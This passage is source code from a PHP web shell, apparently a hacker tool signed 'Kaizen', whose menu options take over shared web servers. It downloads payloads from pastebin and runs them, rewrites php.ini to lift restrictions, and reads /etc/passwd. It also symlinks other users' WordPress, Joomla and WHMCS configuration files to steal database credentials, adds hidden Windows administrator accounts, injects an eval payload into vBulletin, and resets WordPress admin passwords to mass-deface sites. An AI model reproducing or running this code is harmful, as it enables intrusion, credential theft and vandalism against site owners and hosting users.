  3771. Or <a href="?<?php echo "path=".$path; ?>&amp;x=bypsini"><input class=bordergaya type=submit value="Bypass Disable Functions" /></a>
  3772. Or <a href="?<?php echo "path=".$path; ?>&amp;x=bysysfuncwexec"><input class=bordergaya type=submit value="Bypass Root Path With Exec Function" /></a>
  3773. <br/><br/><br/><br/>
  3774. <?php
  3775. exit();
  3776. }
  3777. ////////////////////////////////////////
  3778. ///////////////////////////////////////
  3779. elseif(isset($_GET['x']) && ($_GET['x'] == 'bysysfuncwsf')) {
  3780. echo '<br><center><span style="font-size:20px;">Bypass Root Path With System Function</span><center>';
  3781. mkdir('bysyswsf', 0755);
  3782. chdir('bysyswsf');
  3783. $bysyswsf = file_get_contents("https://pastebin.com/raw/Pw07PwVD");
  3784. $file = fopen("bysyswsf.php" ,"w+");
  3785. $write = fwrite ($file ,$bysyswsf);
  3786. fclose($file);
  3787. chmod("bysyswsf.php",0755);
  3788. echo "<iframe src=bysyswsf/bysyswsf.php width=70% height=70% frameborder=0></iframe>";exit();
  3789. }
  3790. ////////////////////////////////////////
  3791. ////////////////////////////////////////
  3792. elseif(isset($_GET['x']) && ($_GET['x'] == 'bypsini')) {
  3793. $byht = "safe_mode = Off
  3794. disable_functions = None
  3795. safe_mode_gid = OFF
  3796. open_basedir = OFF
  3797. allow_url_fopen = On";
  3798. file_put_contents("php.ini",$byht);
  3799. echo "<script>alert('Congrats!'); hideAll();</script>";
  3800. die('<meta http-equiv="refresh" content="0; url=?" />');
  3801. }
  3802. ////////////////////////////////////////
  3803. ///////////////////////////////////////
  3804. elseif(isset($_GET['x']) && ($_GET['x'] == 'bysysfuncwexec')) {
  3805. echo '<br><center><span style="font-size:20px;">Bypass Root Path With Exec Function</span><center>';
  3806. mkdir('bysyswexecf', 0755);
  3807. chdir('bysyswexecf');
  3808. $bysyswsf = file_get_contents("https://pastebin.com/raw/6ccPfLW6");
  3809. $file = fopen("bysyswexecf.php" ,"w+");
  3810. $write = fwrite ($file ,$bysyswsf);
  3811. fclose($file);
  3812. chmod("bysyswexecf.php",0755);
  3813. echo "<iframe src=bysyswexecf/bysyswexecf.php width=70% height=70% frameborder=0></iframe>";
  3814. exit();
  3815. }
  3816. ////////////////////////////////////////
  3817. ////////////////////////////////////////
  3818.  
  3819. ///////////////////////////////////////////////////////////////////////////
  3820. ///////////JUMPING////////////////////////////////////////////////////////
  3821. //////////////////////////////////////////
  3822. elseif (isset($_GET['x']) && ($_GET['x'] == 'jumping')) {
  3823. ?>
  3824. <center>
  3825. <form action="?sad=<?php echo $pwd; ?>&amp;x=jumping" method="post">
  3826. <?php
  3827. //radable public_html
  3828. ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
  3829. set_time_limit(0);
  3830. ###################
  3831. @$passwd = fopen('/etc/passwd','r');
  3832. if (!$passwd) { die('<br>[-] Error : coudn`t read /etc/passwd'); }
  3833. $pub = array();
  3834. $users = array();
  3835. $conf = array();
  3836. $i = 0;
  3837. while(!feof($passwd))
  3838. {
  3839. $str = fgets($passwd);
  3840. if ($i > 35)
  3841. {
  3842. $pos = strpos($str,':');
  3843. $username = substr($str,0,$pos);
  3844. $dirz = '/home/'.$username.'/public_html/';
  3845. if (($username != ''))
  3846. {
  3847. if (is_readable($dirz))
  3848. {
  3849. array_push($users,$username);
  3850. array_push($pub,$dirz);
  3851. }
  3852. }
  3853. }
  3854. $i++;
  3855. }
  3856. ###################
  3857. echo '<br><br></center></center>';
  3858. echo "<font class='rapihbanget'>[+] Founded ".sizeof($users)." entrys in /etc/passwdn"."<br /></font>";
  3859. echo "<font class='rapihbanget'>[+] Founded ".sizeof($pub)." readable public_html directoriesn"."<br /></font>";
  3860. echo "<font class='rapihbanget'>[~] Searching for passwords in config files...<br /><br /></font>";
  3861. foreach ($users as $user)
  3862. {
  3863. $path = "/home/$user/public_html/";
  3864. echo "<font class='rapihbanget'><a href='?sad&#61;$path' target='_blank' font-weight:bold; color:#F80;'>$path</a><br></font>";
  3865. }
  3866. echo "<br /><font class='rapihbanget'>[+] Complete...n"."<br /></font>";
  3867. echo "<font class='rapihbanget'>[+] Monggo Sikat Boz!n"."<br /></font>";
  3868. echo '<br><br></b></body><center>';
  3869. exit();
  3870. }
  3871.  
  3872.  
  3873. ///////////////
  3874.  
  3875. elseif (isset($_GET['x']) && ($_GET['x'] == 'mass')) {
  3876. error_reporting(0);
  3877. ?><center><table><td width="50%"><form ENCTYPE="multipart/form-data" action="<?php
  3878. $_SERVER['PHP_SELF'];
  3879. ?>" method=post><p align="center"><h2>Folder</h2><input class='inputz' typ=text name=path size=60 value="<?php
  3880. echo getcwd();
  3881. ?>"><br><h2>file name</h2><input class='inputz' typ=text name=file size=60 value="index.php"><br></td><td width="50%"><h3>Your deface page script </h3><textarea class='inputz' name=index rows=10 cols=40>Hacked By Kaizen - SUICIDE-DB</textarea><br></td></p></table><center><br><br><br><input class='inputzbut' type=submit value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form><br><?php
  3882. $mainpath = $_POST[path];
  3883. $file = $_POST[file];
  3884. $dir = opendir("$mainpath");
  3885. $code = base64_encode($_POST[index]);
  3886. $indx = base64_decode($code);
  3887. while ($row = readdir($dir)) {
  3888. $start = @fopen("$row/$file", "w+");
  3889. $finish = @fwrite($start, $indx);
  3890. if ($finish) {
  3891. echo "$row/$file > Done<br><br>";
  3892. }
  3893. }
  3894. exit();
  3895. }
  3896. ///menu rdp
  3897. if(isset($_GET['x']) && ($_GET['x'] == 'krdp'))
  3898. /* By Shor7cut */
  3899. {
  3900. if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
  3901. {
  3902. ?><br/><br/>
  3903. <center>
  3904. <h1>RDP Creator</h1>
  3905. <div id="content-left">
  3906. <form action="" method="post">
  3907. <table border="1px" bordercolor="#2d2b2b" cellpadding="5px">
  3908. <tr>
  3909. <td colspan="3" align="center" bgcolor="#2d2b2b"><font face="Fredericka the Great" size="2px" color="white">CREATE RDP</font></td>
  3910. </tr>
  3911. <tr>
  3912. <td><font class='kecew'>Username</font></td>
  3913. <td><font class='kecew'> : </font></td>
  3914. <td><input type="text" class="bordergaya" name="username" required></td>
  3915. </tr>
  3916. <tr>
  3917. <td><font class='kecew'>Password</font></td>
  3918. <td><font class='kecew'> : </font></td>
  3919. <td><input type="text" class="bordergaya" name="password" required></td>
  3920. </tr>
  3921. <tr>
  3922. <td colspan="3" align="center"><input type="hidden" name="kshell" value="1"><input type="submit" name="submit" class="bordergaya" value="Create"></td>
  3923. </tr>
  3924. </table>
  3925. </form>
  3926. </div>
  3927. <br/>
  3928. <div id="content-left">
  3929. <form action="" method="post">
  3930. <table border="1px" bordercolor="#2d2b2b" cellpadding="5px">
  3931. <tr>
  3932. <td colspan="3" align="center" bgcolor="#2d2b2b"><font face="Fredericka the Great" size="2px" color="white">OPTION</td>
  3933. </tr>
  3934. <tr>
  3935. <td><font class='kecew'>Username</font></td>
  3936. <td><font class='kecew'> : </font></td>
  3937. <td><input type="text" name="rusername" placeholder="Masukan Username" class="bordergaya"></td>
  3938. </tr>
  3939. <tr>
  3940. <td><font class='kecew'>Password</font></td>
  3941. <td><font class='kecew'> : </font></td>
  3942. <td><input type="text" name="gantipw" placeholder="Password Baru" class="bordergaya"></td>
  3943. </tr>
  3944. <tr>
  3945. <td><font class='kecew'>Action</font></td>
  3946. <td><font class='kecew'> : </font></td>
  3947. <td>
  3948. <select name="aksi" class="bordergaya">
  3949. <option value="1">Show Username</option>
  3950. <option value="2">Delete Username</option>
  3951. <option value="3">Change Password</option>
  3952. </select>
  3953. </td>
  3954. </tr>
  3955. <tr>
  3956. <td colspan="3" align="center"><input type="hidden" name="kshell" value="2"><input type="submit" name="submit" class="bordergaya" value="Execute"></td>
  3957. </tr>
  3958. </table>
  3959. </form>
  3960. <br/>
  3961. </div>
  3962. </center></center>
  3963. <?php
  3964. if($_POST['submit'])
  3965. {
  3966. if($_POST['kshell']=="1")
  3967. {
  3968. $r_user = $_POST['username'];
  3969. $r_pass = $_POST['password'];
  3970. $cmd_cek_user = shell_exec("net user");
  3971. if(preg_match("/$r_user/", $cmd_cek_user)){
  3972. echo $gaya_root.$r_user." sudah ada".$o;
  3973. }else {
  3974. $cmd_add_user = shell_exec("net user ".$r_user." ".$r_pass." /add");
  3975. $cmd_add_groups1 = shell_exec("net localgroup Administrators ".$r_user." /add");
  3976. $cmd_add_groups2 = shell_exec("net localgroup Administrator ".$r_user." /add");
  3977. $cmd_add_groups3 = shell_exec("net localgroup Administrateur ".$r_user." /add");
  3978. if($cmd_add_user){
  3979. echo $gaya_root."<font class='rapihbanget'>[+] Menambahkan User : ".$r_user." Password : ".$r_pass." <font color='greenyellow'>Berhasil!</font></font><br/><br/>".$o;
  3980. }else {
  3981. echo $gaya_root."<font class='rapihbanget'>[+] Menambahkan User : ".$r_user." Password : ".$r_pass." <font color='red'>Gagal!</font><br/><br/>".$o;
  3982. }
  3983. echo "<font class='rapihbanget'>[+] Sedang Memroses User.. Silahkan Tunggu Sebentar.. <br/>";
  3984. if($cmd_add_groups1){
  3985. echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Berhasil Di Proses!</font><br/><br/>".$o;
  3986. }else
  3987. if($cmd_add_groups2){
  3988. echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Berhasil Di Proses!</font><br/><br/>".$o;
  3989. }else
  3990. if($cmd_add_groups3){
  3991. echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Berhasil Di Proses!</font><br/><br/>".$o;
  3992. }else {
  3993. echo $gaya_root."<font class='rapihbanget'>--- Maaf User ".$r_user." <font color='red'>Gagal Di Proses!</font><br/><br/>".$o;
  3994. }
  3995. echo "<font class='rapihbanget'>[+] Server Info : </font><br/>";
  3996. echo $gaya_root."<font class='rapihbanget'>--- ServerIP : ".$_SERVER["HTTP_HOST"]."</font><br/><font class='rapihbanget'>--- Username : ".$r_user."</font><br/><font class='rapihbanget'>--- Password : </font>".$r_pass.$o."</font><br/><br/>";
  3997. echo "<font class='rapihbanget'>[+] Thank For Using It ~_^ </font><br/><br/>";
  3998. }
  3999.  
  4000.  
  4001. }
  4002. else if($_POST['kshell']=="2")
  4003. {
  4004. echo "<style>
  4005. .coeg{margin-left:30%;}
  4006. </style>";
  4007. if($_POST['aksi']=="1"){
  4008. echo "<pre class='coeg'>".shell_exec("net user");
  4009. }
  4010. else if($_POST['aksi']=="2")
  4011. {
  4012. $username = $_POST['rusername'];
  4013. $cmd_cek_user = shell_exec("net user");
  4014. if (!empty($username)){
  4015. if(preg_match("/$username/", $cmd_cek_user)){
  4016. $cmd_add_user = shell_exec("net user ".$username." /DELETE");
  4017. if($cmd_add_user){
  4018. echo "<font class='rapihbanget'>[+] Sedang Memroses.. Silahkan Tunggu.. </font><br /><br />";
  4019. echo $gaya_root."<font class='rapihbanget'>[+] Selamat! Remove User </font><font color='orange'>".$username." </font><font color='greenyellow'>Berhasil!!</font><br /><br />".$o;
  4020. }else {
  4021. echo $gaya_root."<font class='rapihbanget'>[+] Yah :( Remove User </font><font color='orange'>".$username." </font><font color='red'>Gagal!!</font><br /><br />".$o;
  4022. }
  4023. }else {
  4024. echo $gaya_root."<font class='rapihbanget'>Are You Kidding Me?! Username : </font><font color='orange'>" .$username. " </font><font color='red'> Itu Enggak Ada!!</font><br /><br />".$o;
  4025. }
  4026. }else {
  4027. echo $gaya_root."<font class='rapihbanget'> Silahkan Masukkan Dahulu Username Yang Mau Di Hapus!! </font><br /><br />".$o;
  4028. }
  4029. }
  4030. else if($_POST['aksi']=="3")
  4031. {
  4032. echo "<style>
  4033. .tengahaja{margin-left:35%}
  4034. </style>";
  4035. $username = $_POST['rusername'];
  4036. $password = $_POST['gantipw'];
  4037. $cmd_cek_user = shell_exec("net user");
  4038. if (!empty($username)){
  4039. if(preg_match("/$username/", $cmd_cek_user)){
  4040. $cmd_add_user = shell_exec("net user ".$username."");
  4041. if($cmd_add_user){
  4042. echo $gaya_root."<font class='tengahaja'>Ganti Password Username : ".$username." dan Password : ".$password." <font color='greenyellow'>Berhasil!!</font><br /><br />".$o;
  4043. }else {
  4044. echo $gaya_root."<font class='tengahaja'>Ganti Password Username : ".$username." dan Password : ".$password." <font color='red'>Gagal!!</font><br /><br />".$o;
  4045. }
  4046. }else
  4047. {
  4048. echo $gaya_root."<font class='rapihbanget'>Are You Kidding Me?! Username : </font><font color='orange'>" .$username. " </font><font color='red'> Itu Enggak Ada!!</font><br /><br />".$o;
  4049. }
  4050. }else
  4051. {
  4052. echo $gaya_root."<font class='rapihbanget'> Silahkan Masukkan Dahulu Username Yang Mau Di Hapus!! </font><br /><br />".$o;
  4053. }
  4054. }
  4055. }
  4056.  
  4057. }
  4058. } else{
  4059. echo "<br><br><font color='springgreen' face='Fredericka The Great'>Can only be used on windows server</font>";
  4060. }die();
  4061. }
  4062. elseif (isset($_GET['x']) && ($_GET['x'] == 'grabc')) { @ini_set('output_buffering',0);
  4063. echo "
  4064. <form method='POST'>
  4065. </head>
  4066. <style>
  4067. textarea{resize:none;color:#000;background-color:#000;font-size:8pt;color:#fff;border:1px solid white;border-left:4px solid white;width:543px;height:400px}input{color:#000;border:1px dotted white}
  4068. </style>";
  4069. echo "<center>";?></center><br><center><?php if (empty($_POST['config'])) { ?><p><font face="Cabin" color="springgreen" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class='inputz' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" class='inputz' size="100" value="Grab!" type="submit"><br></form></center><br><?php }if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink disabled :( </error>');}@mkdir('Sad-Conf', 0755);@chdir('Sad-Conf');
  4070. $htaccess="
  4071. OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
  4072. Options Indexes FollowSymLinks
  4073. ForceType text/plain
  4074. AddType text/plain .php
  4075. AddType text/plain .html
  4076. AddType text/html .shtml
  4077. AddType txt .php
  4078. AddHandler server-parsed .php
  4079. AddHandler txt .php
  4080. AddHandler txt .html
  4081. AddHandler txt .shtml
  4082. Options All
  4083. Options All";
  4084. file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];
  4085. $passwd=explode("n",$passwd);
  4086. echo "<br><br><center><font face='cabin' color=Crimson size=2pt>Waiting Proses...</center><br>";
  4087. foreach($passwd as $pwd){
  4088. $pawd=explode(":",$pwd);$user =$pawd[0];
  4089. @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
  4090. @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
  4091. @symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
  4092. @symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
  4093. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
  4094. @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
  4095. @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
  4096. @symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
  4097. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
  4098. @symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');
  4099. @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
  4100. @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
  4101. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
  4102. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
  4103. @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
  4104. @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
  4105. @symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');
  4106. @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
  4107. @symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
  4108. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');
  4109. @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
  4110. @symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');
  4111. @symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
  4112. @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
  4113. @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
  4114. @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
  4115. @symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
  4116. @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
  4117. @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
  4118. @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
  4119. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
  4120. @symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
  4121. @symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
  4122. @symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
  4123. @symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
  4124. @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
  4125. @symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
  4126. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
  4127. @symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
  4128. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
  4129. echo '<b><font face="Homenaje" color="springgreen" size="3pt"><b>Grab Success >></b> <a target="_blank" href="Sad-Conf">Config</a></font></b>';}
  4130. die();
  4131. }
  4132. /////// Cukup Sampai Disini ya Grabber :( ////////
  4133.  
  4134. elseif (isset($_GET['x']) && ($_GET['x'] == 'vb')) {
  4135. if (empty($_POST['index'])) {
  4136. echo "<center><br><br><FORM method='POST'>host : <INPUT size='15' class='inputz' value='localhost' name='localhost' type='text'>&nbsp;|&nbsp;database : <INPUT class='inputz' size='15' value='db_name' name='database' type='text'>&nbsp;|&nbsp;username : <INPUT class='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;|&nbsp;password : <INPUT class='inputz' size='15' value='bd_pass' name='password' type='text'>&nbsp;|&nbsp;perfix : <input class='inputz' size='15' value='' name='perfix' type='text'><br><textarea class='inputz' name='index' cols='40' rows='10'>Hacked By Kaizen</textarea><br><INPUT class='inputzbut' value='Deface' name='send' type='submit'></FORM></center>";
  4137. } else {
  4138. $localhost = $_POST['localhost'];
  4139. $database = $_POST['database'];
  4140. $username = $_POST['username'];
  4141. $password = $_POST['password'];
  4142. $perfix = $_POST['perfix'];
  4143. $index = $_POST['index'];
  4144. @mysql_connect($localhost, $username, $password) or die(mysql_error());
  4145. @mysql_select_db($database) or die(mysql_error());
  4146. $index = str_replace("'", "'", $index);
  4147. $set_index = "{${eval(base64_decode('";
  4148. $set_index .= base64_encode("echo '$index';");
  4149. $set_index .= "'))}}{${exit()}}</textarea>";
  4150. $ok = @mysql_query("UPDATE " . $perfix . "template SET template ='" . $set_index . "' WHERE title ='FORUMHOME'") or die(mysql_error());
  4151. if ($ok) {
  4152. echo "Defaced<br><br>";
  4153. }
  4154. }
  4155. }
  4156.  
  4157. elseif (isset($_GET['x']) && ($_GET['x'] == 'wm')) {
  4158. ini_set("display_errors", "0");
  4159. set_time_limit(0);
  4160. @session_start();
  4161. $base_path = dirname(__FILE__) . '/';
  4162. function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1)
  4163. {
  4164. $ar0 = explode($marqueurDebutLien, $text);
  4165. $ar1 = explode($marqueurFinLien, $ar0[$i]);
  4166. return trim($ar1[0]);
  4167. }
  4168. function randomt()
  4169. {
  4170. $chars = "abcdefghijkmnopqrstuvwxyz023456789";
  4171. srand((double) microtime() * 1000000);
  4172. $i = 0;
  4173. $pass = '';
  4174. while ($i <= 7) {
  4175. $num = rand() % 33;
  4176. $tmp = substr($chars, $num, 1);
  4177. $pass = $pass . $tmp;
  4178. $i++;
  4179. }
  4180. return $pass;
  4181. }
  4182. function index_changer_wp($conf, $content)
  4183. {
  4184. $output = '';
  4185. $dol = '$';
  4186. $username = entre2v2($conf, "define('DB_USER', '", "');");
  4187. $password = entre2v2($conf, "define('DB_PASSWORD', '", "');");
  4188. $dbname = entre2v2($conf, "define('DB_NAME', '", "');");
  4189. $prefix = entre2v2($conf, $dol . "table_prefix = '", "'");
  4190. $host = entre2v2($conf, "define('DB_HOST', '", "');");
  4191. $link = mysql_connect($host, $username, $password);
  4192. if ($link) {
  4193. mysql_select_db($dbname, $link);
  4194. $dol = '$';
  4195. $req1 = mysql_query("UPDATE `" . $prefix . "users` SET `user_login` = 'k2',`user_pass` = '4297f44b13955235245b2497399d7a93' WHERE `ID` = 1");
  4196. } else {
  4197. $output .= "[-] DB Error<br>";
  4198. }
  4199. if ($req1) {
  4200. $req = mysql_query("SELECT * from `" . $prefix . "options` WHERE option_name='home'");
  4201. $data = mysql_fetch_array($req);
  4202. $site_url = $data["option_value"];
  4203. $req = mysql_query("SELECT * from `" . $prefix . "options` WHERE option_name='template'");
  4204. $data = mysql_fetch_array($req);
  4205. $template = $data["option_value"];
  4206. $req = mysql_query("SELECT * from `" . $prefix . "options` WHERE option_name='current_theme'");
  4207. $data = mysql_fetch_array($req);
  4208. $current_theme = $data["option_value"];
  4209. $useragent = "Mozilla/4.0 (compatible;MSIE 7.0b;Windows NT 5.1;.NET CLR 1.1.4322;Alexa Toolbar;.NET CLR 2.0.50727)";
  4210. $url2 = $site_url . "/wp-login.php";
  4211. $ch = curl_init();
  4212. curl_setopt($ch, CURLOPT_URL, $url2);
  4213. curl_setopt($ch, CURLOPT_POST, 1);
  4214. curl_setopt($ch, CURLOPT_POSTFIELDS, "log=k2&pwd=123123&rememberme=forever&wp-submit=Log In&testcookie=1");
  4215. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  4216. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  4217. curl_setopt($ch, CURLOPT_HEADER, 0);
  4218. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
  4219. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  4220. curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  4221. curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  4222. $buffer = curl_exec($ch);
  4223. $pos = strpos($buffer, "action=logout");
  4224. if ($pos === false) {
  4225. $output .= "[-] Successful Login<br>";
  4226. } else {
  4227. $output .= "[+] Successful Login<br>";
  4228. }
  4229. $url2 = $site_url . "/wp-admin/theme-editor.php?file=/themes/" . $template . '/index.php&theme=' . urlencode($current_theme) . '&dir=theme';
  4230. curl_setopt($ch, CURLOPT_URL, $url2);
  4231. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
  4232. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  4233. curl_setopt($ch, CURLOPT_HEADER, 0);
  4234. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  4235. curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  4236. curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  4237. $buffer0 = curl_exec($ch);
  4238. $_wpnonce = entre2v2($buffer0, '<input type="hidden" id="_wpnonce" name="_wpnonce" value="', '" />');
  4239. $_file = entre2v2($buffer0, '<input type="hidden" name="file" value="', '" />');
  4240. if (substr_count($_file, "/index.php") != 0) {
  4241. $output .= "[+] index.php Opened<br>";
  4242. } else {
  4243. $output .= "[-] index.php Unable to open<br>";
  4244. }
  4245. $url2 = $site_url . "/wp-admin/theme-editor.php";
  4246. curl_setopt($ch, CURLOPT_URL, $url2);
  4247. curl_setopt($ch, CURLOPT_POST, 1);
  4248. curl_setopt($ch, CURLOPT_POSTFIELDS, "newcontent=" . $content . "&action=update&file=" . $_file . "&_wpnonce=" . $_wpnonce . "&submit=Update File");
  4249. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  4250. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  4251. curl_setopt($ch, CURLOPT_HEADER, 0);
  4252. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  4253. curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  4254. curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  4255. $buffer = curl_exec($ch);
  4256. curl_close($ch);
  4257. $pos = strpos($buffer, '<div id="message" class="updated">');
  4258. $cond = 0;
  4259. if ($pos === false) {
  4260. $output .= "[-] index.php Failed<br>";
  4261. } else {
  4262. $output .= "[+] index.php Failed+<br>";
  4263. $cond = 1;
  4264. }
  4265. } else {
  4266. $output .= "[-] DB Error<br>";
  4267. }
  4268. global $base_path;
  4269. unlink($base_path . 'COOKIE.txt');
  4270. return array(
  4271. 'cond' => $cond,
  4272. 'output' => $output
  4273. );
  4274. }
  4275. function exec_mode_1($def_url)
  4276. {
  4277. @mkdir('sym', 0777);
  4278. $wr = "Options all n DirectoryIndex Sux.html n AddType text/plain .php n AddHandler server-parsed .php n AddType text/plain .html n AddHandler txt .html n Require None n Satisfy Any";
  4279. $fp = @fopen('sym/.htaccess', 'w');
  4280. fwrite($fp, $wr);
  4281. @symlink('/', 'sym/root');
  4282. $dominios = @file_get_contents("/etc/named.conf");
  4283. @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
  4284. $out[1] = array_unique($out[1]);
  4285. $numero_dominios = count($out[1]);
  4286. echo "Total Websites: $numero_dominios <br><br>";
  4287. $def = file_get_contents($def_url);
  4288. $def = urlencode($def);
  4289. $base_url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/sym/root/home/';
  4290. $output = fopen('defaced.html', 'a+');
  4291. $_SESSION['count1'] = (isset($_GET['st']) && $_GET['st'] != '') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] : 0) : 0;
  4292. $_SESSION['count2'] = (isset($_GET['st']) && $_GET['st'] != '') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] : 0) : 0;
  4293. echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Script</th><th>Process</th><th>Results</th></tr>';
  4294. $j = 1;
  4295. $st = (isset($_GET['st']) && $_GET['st'] != '') ? $_GET['st'] : 0;
  4296. for ($i = $st; $i <= $numero_dominios; $i++) {
  4297. $domain = $out[1][$i];
  4298. $dono_arquivo = @fileowner("/etc/valiases/" . $domain);
  4299. $infos = @posix_getpwuid($dono_arquivo);
  4300. $config02 = @file_get_contents($base_url . $infos['name'] . "/public_html/wp-config.php");
  4301. $cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';
  4302. if ($config02 && preg_match('/DB_NAME/i', $config02)) {
  4303. echo '<tr ' . $cls . '><td align="center">' . ($j++) . '</td><td align="center">' . $i . '</td><td><a href="http://' . $domain . '" target="blank">' . $domain . '</a></td>';
  4304. echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';
  4305. $res = index_changer_wp($config02, $def);
  4306. echo '<td>' . $res['output'] . '</td>';
  4307. if ($res['cond']) {
  4308. echo '<td align="center"><span class="green">HACKED</span></td>';
  4309. fwrite($output, 'http://' . $domain . "<br>");
  4310. $_SESSION['count2'] = $_SESSION['count2'] + 1;
  4311. } else {
  4312. echo '<td align="center"><span class="red">unsuccessful</span></td>';
  4313. }
  4314. echo '</tr>';
  4315. }
  4316. }
  4317. echo '</table>';
  4318. echo '<hr/>';
  4319. echo 'Total Deface = ' . ($_SESSION['count1'] + $_SESSION['count2']) . '<br>';
  4320. echo '<a href="defaced.html" target="_blank">List Websites Defaced</a><br>';
  4321. }
  4322. echo '<head><p><h2 style="color:#FF0000;text-align: center;font-family:orbitron;font-size:25px;">Wordpress Mass Defacer</h2><link href="http://fonts.googleapis.com/css?family=Orbitron:700" rel="stylesheet" type="text/css"><style type="text/css">body {color: white;font-family: "orbitron";}.header {position:fixed;width:100%;top:0;background:#000;}.footer {position:fixed;width:100%;bottom:0;background:#000;}</style></p><script type="text/javascript">function change() {if(document.getElementById('rcd').checked == true) {document.getElementById('tra').style.display = '';} else {document.getElementById('tra').style.display = 'none';} }function hide() {document.getElementById('tra').style.display = 'none';}</script></head><body><div class="footer"><a href="https://www.facebook.com/Kaizen1337.gov" target="_blank"><h3 style="text-align: center;">' . base64_decode('S3J5cHRvbg==') . '</h3></a></div><div>';
  4323. if (!isset($_POST['form_action'])) {
